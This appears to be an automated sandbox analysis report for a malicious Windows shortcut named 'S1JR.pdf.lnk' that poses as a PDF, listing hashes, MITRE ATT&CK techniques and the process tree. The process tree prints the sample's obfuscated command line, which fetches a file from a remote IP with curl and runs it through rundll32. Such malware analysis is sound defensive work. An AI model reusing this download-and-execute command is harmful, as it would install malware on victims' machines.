d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb

Analysis

max time kernel
120s
max time network
132s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
11/10/2023, 14:32

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General

Target

S1JR.pdf.lnk
Size

2KB
MD5

65937746034e734deb86f064b98a5958
SHA1

2b33bdf69fa40f53b4443c079e50fa653c4a3e88
SHA256

d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb
SHA512

68689b44f07d661a7cbac01cfd1a9b6b248fb9b6514f6d184892ad381213f10f8f53d180313ca5a63b917c3f8a3d946a6d1b130521717a8e654acca598fef06f

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2784	PING.EXE
2620	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2928	1976	cmd.exe	29
PID 1976 wrote to memory of 2928	1976	cmd.exe	29
PID 1976 wrote to memory of 2928	1976	cmd.exe	29
PID 2928 wrote to memory of 2784	2928	cmd.exe	30
PID 2928 wrote to memory of 2784	2928	cmd.exe	30
PID 2928 wrote to memory of 2784	2928	cmd.exe	30
PID 2928 wrote to memory of 2620	2928	cmd.exe	31
PID 2928 wrote to memory of 2620	2928	cmd.exe	31
PID 2928 wrote to memory of 2620	2928	cmd.exe	31
PID 2928 wrote to memory of 2672	2928	cmd.exe	32
PID 2928 wrote to memory of 2672	2928	cmd.exe	32
PID 2928 wrote to memory of 2672	2928	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\S1JR.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CKk || eCHO CKk & p"I"nG CKk || C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log & p"I"nG -n 2 CKk || rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728 & Exi"t" 'fqKtaeAEJAc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\PING.EXE
    p"I"nG CKk
    3⤵
    - Runs ping.exe
    PID:2784
- - C:\Windows\system32\PING.EXE
    p"I"nG -n 2 CKk
    3⤵
    - Runs ping.exe
    PID:2620
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728
    3⤵
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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